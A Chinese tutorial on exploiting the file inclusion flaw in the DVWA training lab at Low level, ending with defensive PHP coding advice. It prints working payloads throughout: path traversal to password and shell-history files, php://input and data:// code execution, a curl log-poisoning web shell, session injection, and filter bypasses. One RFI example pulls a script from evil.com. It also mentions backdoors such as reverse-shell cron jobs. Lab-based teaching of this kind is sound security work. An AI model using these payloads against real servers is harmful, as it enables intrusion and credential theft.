1. 项目概述:从“文件包含”到实战渗透的思维跃迁
在网络安全的学习路径上,DVWA(Damn Vulnerable Web Application)是一个绕不开的经典靶场。它像一个精心设计的“漏洞博物馆”,将Web安全中常见的漏洞,如SQL注入、XSS、文件上传等,分门别类地呈现出来,并设置了从易到难(Low, Medium, High, Impossible)的四个安全级别。今天我们要深入探讨的,是其中“文件包含”(File Inclusion)漏洞在Low级别下的攻防博弈。这个标题——“DVWA靶场通关笔记-文件包含(Low级别 9种渗透方法)”——看似只是一个具体的操作指南,但其背后蕴含的,是从一个简单的参数传递漏洞,到系统级权限获取的完整攻击链思维。它考验的不仅是你会不会用某个Payload,更是你对Web应用架构、服务器文件系统、PHP语言特性乃至操作系统命令的融会贯通能力。
文件包含漏洞,简而言之,就是应用程序在动态包含文件时,未对用户输入进行严格过滤,导致攻击者可以包含并执行任意文件。在Low级别下,DVWA刻意移除了所有防护,为我们提供了一个纯净的“实验沙箱”。这里的“通关”远不止于点击按钮看到回显,而是要通过这9种方法,彻底理解漏洞的原理、利用的边界以及防御的思路。无论你是刚刚接触Web安全的新手,还是想巩固基础原理的从业者,这次深度拆解都将带你超越工具使用层面,直抵漏洞利用的核心逻辑。接下来,我将以一个实战者的视角,带你逐一剖析这9种方法,并分享在真实渗透测试中,如何将这些基础技巧组合、变形,应用于更复杂的场景。
2. 漏洞原理与实验环境深度解析
2.1 文件包含漏洞的核心机制与PHP语言特性
要真正利用好文件包含漏洞,必须深入理解其工作原理。在PHP中,include、require、include_once、require_once这些语句的本意是为了提高代码复用性,比如将网站头部(header.php)、尾部(footer.php)或配置文件(config.php)动态引入。漏洞产生的根本原因在于,包含文件的“路径”这个参数,完全或部分地由用户可控。
以DVWA Low级别的文件包含模块为例,其核心代码通常简化如下:
<?php $file = $_GET['page']; // 直接获取用户输入的‘page’参数,无任何过滤 include($file); ?>这段代码的逻辑是:用户通过?page=file1.php这样的URL参数来指定要包含的文件。在理想情况下,file1.php是开发者预设在服务器某个目录下的合法文件。然而,由于没有对$file变量进行任何检查,攻击者可以将其替换为任意路径。
这里涉及几个关键的PHP和服务器特性:
- 路径遍历(Directory Traversal):使用
../可以向上跳转目录。例如,?page=../../../../etc/passwd尝试读取Linux系统的用户账户文件。 - 协议封装(Wrapper):PHP支持多种URL风格的封装协议,最致命的是
php://input和php://filter。php://input可以访问请求的原始数据流,配合POST传入PHP代码即可执行;php://filter则可以对文件内容进行转换,常用于读取源码。 - 远程文件包含(RFI):如果PHP配置中
allow_url_include设置为On(默认是Off,但DVWA Low级别可能模拟开启),则可以通过?page=http://evil.com/shell.txt这样的方式,直接包含远程服务器上的恶意脚本,使其在目标服务器上执行。
注意:在实际的渗透测试或CTF比赛中,RFI由于对配置要求严格且风险高,相对少见。LFI(本地文件包含)是绝对的主流,也是我们本次重点攻克的对象。DVWA的Low级别环境为我们同时提供了LFI和潜在的RFI实验条件。
2.2 DVWA Low级别环境搭建与访问要点
工欲善其事,必先利其器。虽然网络上有很多在线DVWA平台,但我强烈建议你在本地或可控的虚拟机环境中搭建。这能让你拥有最高权限,可以自由查看源码、修改配置、反复测试,而不受任何限制。
环境准备建议:
- 集成环境:对于新手,最快捷的方式是使用XAMPP或PHPStudy。它们一键集成了Apache、PHP、MySQL,省去了繁琐的配置。将DVWA源码解压到它们的
htdocs或www目录下即可。 - 配置文件修改:DVWA根目录下的
config/config.inc.php.dist文件需要复制一份并重命名为config.inc.php,然后根据你的数据库信息进行修改。重点是确保数据库连接正确。 - 安全级别设置:访问DVWA首页后,先进入
Setup页面,点击“Create / Reset Database”按钮初始化数据库。然后,在左侧导航栏找到DVWA Security,将安全级别设置为Low。这是关键一步,它决定了所有漏洞模块的防护等级。 - 访问文件包含模块:设置完成后,点击左侧
File Inclusion即可进入我们今天的主战场。
实操心得:
- 我习惯在虚拟机(如VirtualBox + Kali Linux)中搭建DVWA,这样即使测试中发生意外(比如误操作破坏了系统),也可以快速恢复快照,非常适合做破坏性实验。
- 开启浏览器的开发者工具(F12),特别是“网络”(Network)和“控制台”(Console)标签页。所有请求和响应都会在这里清晰呈现,是分析Payload是否生效、错误信息是什么的绝佳窗口。
- 在测试前,先用一个正常参数(如
?page=file1.php)访问一次,观察正常的页面回显是什么样的,这有助于你快速识别后续攻击是否成功。
3. 九种渗透方法全解与实战演绎
Low级别的文件包含漏洞就像一个不设防的房间,我们拥有几乎无限的“钥匙”。下面,我将这9种方法归纳为几个核心利用方向,并详细拆解每一步。
3.1 基础路径遍历与敏感信息读取
这是最直观的利用方式,目标是读取服务器上本不该被Web用户访问的敏感文件。
方法1:读取系统关键文件(Linux)
- Payload:
?page=../../../../etc/passwd - 原理与操作:通过多个
../回溯到根目录,然后定位到/etc/passwd文件。这个文件存储了系统用户的基本信息,虽然密码哈希现在多存放在/etc/shadow中,但/etc/passwd仍能帮助我们枚举系统用户名。 - 实战扩展:
?page=../../../../etc/shadow:尝试读取密码哈希文件(需要root权限,通常Web服务进程无权访问,但可以一试)。?page=../../../../proc/self/environ:读取当前进程的环境变量,有时会泄露路径、密钥等信息。?page=../../../../home/用户名/.bash_history:尝试读取用户的历史命令,可能泄露敏感操作、密码等信息。
方法2:读取Web应用配置文件
- Payload:
?page=../../../../var/www/html/config.php(路径需根据实际调整) - 原理与操作:目标是找到网站自身的配置文件,里面往往有数据库用户名、密码、API密钥等“宝藏”。你需要猜测或通过报错信息、目录遍历等方式先确定网站的绝对路径。在DVWA中,你可以通过包含一个不存在的文件引发报错,报错信息里常常会包含文件的完整路径。
- 技巧:可以先尝试包含
?page=./index.php,然后查看页面源码,有时配置文件的路径会在注释或附近代码中泄露。
3.2 利用PHP封装协议实现高级利用
这是文件包含漏洞的“灵魂”所在,PHP提供的这些协议封装器能将漏洞的危害性提升数个量级。
方法3:使用php://filter读取源码
- Payload:
?page=php://filter/read=convert.base64-encode/resource=index.php - 原理与操作:这是最常用、最重要的技巧之一。直接包含
.php文件,其中的代码会被服务器执行,我们看不到源码。php://filter协议就像一个“处理器”,我们可以指定它对资源进行“读取”操作,并用convert.base64-encode过滤器将文件内容转换为Base64编码。这样,PHP引擎不会执行它,而是将其作为文本包含并输出Base64字符串。我们将这段字符串解码,就能获得清晰的源代码。 - 实操步骤:
- 在浏览器中输入上述Payload。
- 页面会显示一串Base64编码的字符串。
- 复制这串字符串,使用在线Base64解码工具,或者在Kali Linux终端使用
echo “编码字符串” | base64 -d命令进行解码。 - 分析解码后的源码,寻找数据库配置、其他包含点、敏感逻辑等。
方法4:使用php://input执行任意代码(需allow_url_include=On)
- Payload:
?page=php://input - 原理与操作:
php://input可以访问POST请求的原始数据。我们将要执行的PHP代码放在POST Body中发送,服务器在包含php://input时,就会把这些数据当作PHP代码来执行。 - 实战演示(使用Burp Suite或HackBar):
- 将请求方法改为POST。
- URL参数为
?page=php://input。 - 在POST Body中写入:
<?php system('whoami'); ?> - 发送请求,回显中就会显示当前Web服务运行的用户身份(如
www-data)。
- 注意事项:这是非常直接的命令执行(RCE)方法。在DVWA Low级别下通常可用,但在真实环境或更高安全级别下,
allow_url_include往往是关闭的,此方法会失效。
方法5:使用data://协议执行代码(需allow_url_include=On)
- Payload:
?page=data://text/plain,<?php phpinfo();?>或?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(Base64编码版) - 原理与操作:
data:协议允许在URL中直接嵌入数据。我们可以将PHP代码作为数据嵌入,达到和执行php://input类似的效果。Base64编码版有时可以绕过一些简单的过滤。 - 对比:
data://比php://input更简洁,不需要改POST请求,但同样依赖allow_url_include配置。
3.3 结合文件上传与日志注入实现攻击链
当直接执行代码受阻时,我们需要“创造”一个可包含的恶意文件。文件上传漏洞和日志文件是绝佳的跳板。
方法6:结合文件上传漏洞(经典组合拳)
- 场景:DVWA或其他应用同时存在文件上传漏洞(且上传的文件能被访问到)和文件包含漏洞。
- 操作流程:
- 首先,通过文件上传功能,上传一个图片马(将PHP代码嵌入图片的EXIF信息)或直接上传一个
.php后缀的webshell文件(如果过滤不严)。 - 上传成功后,获取文件的存储路径,例如
/dvwa/hackable/uploads/shell.php。 - 利用文件包含漏洞,包含这个上传的文件:
?page=../../hackable/uploads/shell.php。 - 你的webshell就被执行了,从而获得一个命令交互界面。
- 首先,通过文件上传功能,上传一个图片马(将PHP代码嵌入图片的EXIF信息)或直接上传一个
- 心得:这是实战中最常见的利用链之一。即使上传点对后缀做了严格检查,只能上传图片,我们也可以利用文件包含漏洞的“不解析”特性。例如,上传一个内容为
<?php system($_GET[‘c’]);?>的shell.jpg,然后通过文件包含去读取它,因为包含操作是由PHP引擎处理的,它只关心文件内容,不关心后缀名,所以代码依然会被执行。
方法7:利用Apache/Nginx访问日志注入
- 原理:Web服务器(如Apache、Nginx)会将每一个HTTP请求记录在访问日志中(如
/var/log/apache2/access.log)。如果我们在User-Agent或请求URL中插入PHP代码,这段代码就会被原样记录到日志文件里。然后,我们再通过文件包含漏洞去包含这个日志文件,其中的代码就会被执行。 - 操作步骤:
- 使用Burp Suite或curl,向DVWA发送一个请求,其中User-Agent设置为:
<?php system($_GET[‘cmd’]);?>。curl -A "<?php system(\$_GET['cmd']);?>" "http://靶机IP/dvwa/vulnerabilities/fi/?page=file1.php" - 猜测或确定Apache日志的路径,常见的有
../../../../var/log/apache2/access.log。 - 通过文件包含漏洞包含该日志文件:
?page=../../../../var/log/apache2/access.log&cmd=whoami。 - 如果成功,命令
whoami的结果将会在页面中显示。
- 使用Burp Suite或curl,向DVWA发送一个请求,其中User-Agent设置为:
- 难点与技巧:
- 日志路径:需要知道日志的确切路径,可以通过报错、默认路径猜测或读取配置文件获得。
- 日志污染:日志文件很大,包含的代码可能不在文件末尾。我们注入的代码可能会被其他请求冲掉。可以短时间内快速、多次注入,增加成功率。
- 特殊字符:日志中的代码可能会被转义(如
<变成<),导致执行失败。需要测试目标服务器的日志记录方式。
方法8:利用PHP Session文件注入
- 原理:PHP会将用户的Session数据存储在服务器的一个临时文件中(如
/tmp/sess_[sessionid])。如果我们可以控制存储到Session中的部分数据,就可以将PHP代码写入Session文件,然后包含它。 - 操作步骤:
- 找到一个能将用户输入存入
$_SESSION的页面。在DVWA中,可以查看其他模块(如反射型XSS可能不存储,但某些功能可能会)。 - 将恶意代码赋值给一个Session变量。例如,通过一个表单提交
user=<?php phpinfo();?>,后端代码将其存入$_SESSION[‘user’]。 - 获取自己的Session ID(通过浏览器Cookie查看
PHPSESSID的值)。 - 猜测Session文件路径,通常为
/tmp/sess_[你的PHPSESSID]或/var/lib/php/sessions/sess_[你的PHPSESSID]。 - 通过文件包含漏洞包含这个Session文件:
?page=../../../../tmp/sess_abc123def456。
- 找到一个能将用户输入存入
- 注意事项:这种方法条件较为苛刻,需要知道Session存储路径、有权限写入Session且能预测文件名,在实战中成功率不如日志注入高,但作为一种思路值得了解。
3.4 利用环境文件与临时文件
方法9:包含/proc/self/environ(Linux特定)
- Payload:
?page=../../../../proc/self/environ - 原理与操作:
/proc/self/environ文件包含了当前进程(即处理我们请求的Apache/PHP进程)的所有环境变量。其中,HTTP_USER_AGENT环境变量对应我们请求头中的User-Agent。因此,我们可以像利用日志一样,通过修改User-Agent注入代码,然后包含这个文件来执行。 - 操作:与方法7(日志注入)的前两步类似,但包含的目标文件换成了
/proc/self/environ。需要注意的是,这个文件的内容格式是KEY=value,注入的代码需要确保在正确的格式中能被解析。通常,我们注入<?php ... ?>到User-Agent,然后包含该文件,PHP引擎会扫描整个文件内容并执行其中的PHP标签。 - 对比:相比日志文件,
/proc/self/environ文件更小、更实时,不需要等待日志滚动,但同样需要Web进程有读取该文件的权限。
4. 实战中的组合、绕过与深度利用思维
掌握了九种基础方法,就像拥有了九种武器。但在真实的渗透测试或CTF中,漏洞点往往不会像DVWA Low级别这样“赤裸裸”。我们需要学会组合使用这些方法,并掌握绕过常见过滤的技巧。
4.1 路径遍历的绕过技巧
如果程序对../进行了简单的过滤或删除,我们可以尝试以下变种:
- 绝对路径:直接使用绝对路径,如
?page=/etc/passwd。这不需要../。 - 编码绕过:
- URL编码:
..%2f..%2f..%2f..%2fetc%2fpasswd(将/编码为%2f) - 双重URL编码:
..%252f..%252f..%252f..%252fetc%252fpasswd - Unicode编码、UTF-8编码等。
- URL编码:
- 截断绕过(PHP版本<5.3.4):这是一个历史漏洞,但仍有老系统存在。利用PHP在包含文件时,如果路径字符串末尾存在特定字符(如
\0空字节),会将其后的内容截断。例如,如果程序强制添加.php后缀,可尝试?page=../../../../etc/passwd%00,使得最终拼接的字符串../../../../etc/passwd%00.php在遇到%00时被截断,实际包含/etc/passwd。注意:高版本PHP已修复此问题。
4.2 协议封装器的组合与变形
- filter链:
php://filter可以串联多个过滤器。例如,先进行Base64解码,再进行字符串旋转(ROT13),用于处理一些经过简单编码的敏感文件内容:php://filter/read=string.rot13|convert.base64-decode/resource=config.php - zip:// 与 phar://:这两个协议可用于触发反序列化漏洞或包含压缩包内的文件,是文件包含漏洞通向更严重漏洞(如反序列化RCE)的桥梁,属于进阶内容。
4.3 从信息泄露到命令执行的完整链条构建
一个成熟的渗透测试过程很少是靠单一漏洞完成的。文件包含漏洞常常是突破边界、获取初步信息的起点。
- 信息收集:利用文件包含读取
/etc/passwd获取用户列表,读取Web配置文件获取数据库密码,读取应用源码寻找其他漏洞点。 - 权限提升:通过日志注入或文件上传+包含获得一个webshell,执行命令权限通常是Web服务用户(如
www-data)。 - 横向移动:利用获取的数据库密码,尝试连接数据库,导出数据或利用数据库特性(如MySQL的
into outfile)写Webshell。检查服务器上的其他用户文件、历史命令、计划任务(/etc/crontab),寻找提权机会。 - 权限维持:在服务器上种植后门,如写入SSH密钥、创建反弹Shell的定时任务等。
5. 防御视角:如何编写安全的代码
作为开发者,了解攻击手段是为了更好地防御。针对文件包含漏洞,核心防御原则是“白名单”和“硬编码”。
- 避免动态包含:如果可能,尽量使用静态包含或自动加载机制。
- 使用白名单:如果必须动态包含,应预先定义好允许包含的文件列表(白名单),严格检查用户输入是否在该列表中。
$allowed_pages = array('home.php', 'about.php', 'contact.php'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page); } else { include('error.php'); } - 硬编码路径前缀:为包含的文件添加固定的、安全的目录前缀,防止目录穿越。
$base_dir = '/var/www/html/includes/'; $page = basename($_GET['page']); // basename()函数会去掉路径部分,只保留文件名 $file_path = $base_dir . $page; if (file_exists($file_path) && is_file($file_path)) { include($file_path); } - 关闭危险配置:在
php.ini中,确保allow_url_fopen和allow_url_include设置为Off,从根本上杜绝RFI。 - 更新与打补丁:保持PHP版本和框架的最新状态,修复已知的截断等漏洞。
通过DVWA Low级别文件包含这9种方法的深度演练,我们实际上完成了一次从漏洞原理到利用技巧,再到防御思想的完整循环。安全攻防的本质是思维的对抗,理解每一种攻击路径,才能在设计时堵上每一个可能的缺口。建议你在完全掌握Low级别后,继续挑战DVWA的Medium和High级别,看看增加了哪些过滤,并尝试用今天学到的绕过思维去突破它们,那将是更贴近真实世界的挑战。